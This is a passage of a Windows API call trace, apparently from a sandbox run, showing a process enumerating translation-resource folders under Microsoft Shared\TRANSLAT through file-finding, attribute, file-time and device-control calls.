ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0063.516] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0063.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4388 [0063.516] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4388, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4388, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0063.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4388) returned 1 [0063.516] NtClose (Handle=0x18c) returned 0x0 [0063.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0063.516] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0063.516] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.516] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0063.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb26f8 [0063.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3c80 [0063.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb2a10 [0063.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.516] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0063.517] GetLastError () returned 0x12 [0063.517] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0063.517] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0063.517] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.517] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0063.517] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0063.517] GetLastError () returned 0x12 [0063.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0063.517] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0063.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb26f8) returned 1 [0063.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.517] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0063.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0063.517] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0063.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4388 [0063.518] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4388, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4388, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0063.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4388) returned 1 [0063.518] NtClose (Handle=0x184) returned 0x0 [0063.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0063.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.518] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0063.518] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.518] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0063.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.518] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0063.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb26f8 [0063.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0063.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3ca0 [0063.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb2b18 [0063.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x980) returned 0xfb4388 [0063.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0063.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.519] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0063.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3cc0 [0063.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb2c20 [0063.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.519] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0063.519] GetLastError () returned 0x12 [0063.519] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0063.519] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0063.519] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.519] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0063.519] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0063.519] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0063.519] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0063.519] GetLastError () returned 0x12 [0063.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.520] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0063.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb26f8) returned 1 [0063.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.520] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0063.520] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0063.716] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0063.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4d10 [0063.718] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0063.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4d10) returned 1 [0063.721] NtClose (Handle=0x18c) returned 0x0 [0063.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.725] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0063.729] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.730] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0063.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0063.731] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0063.733] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0063.733] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0063.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0063.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb26f8 [0063.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3ce0 [0063.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb2d28 [0063.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0063.741] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0063.743] GetLastError () returned 0x12 [0063.743] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0063.745] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0063.747] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.749] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0063.750] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, 